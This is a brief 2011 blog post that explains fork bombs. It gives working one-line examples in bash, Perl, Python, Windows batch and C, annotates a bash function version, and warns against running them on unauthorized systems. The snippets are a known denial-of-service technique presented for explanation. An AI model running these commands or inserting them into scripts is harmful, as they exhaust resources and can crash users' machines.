life?is?short?,?play?more!
分类: LINUX
2011-04-08 00:27:04
:(){ :|:& };:
funcname() {
# Run 2 instances of the very same function
# in the background. Each of these new
# processes will do the same: each starts 2 new
# processes doing the same,... and again, and again..
funcname | funcname &
}
STUB: dont run this! It will probably halt your computer.
# Now just call the function to start forking
# bash processes indefinately.
funcname
# We will never get here.
Perl exmaple:
perl -e "fork while fork" &
Python example:
import os
while(1):
os.fork()
Windows XP / Vista bat file example:
:bomb
start %0
goto bomb
UNIX style for Windows:
%0|%0
C program example:
#include
int main() { while(1) fork(); }
Plz note that the fork bomb is a form of denial of service, so don’t run on production or unauthorized system.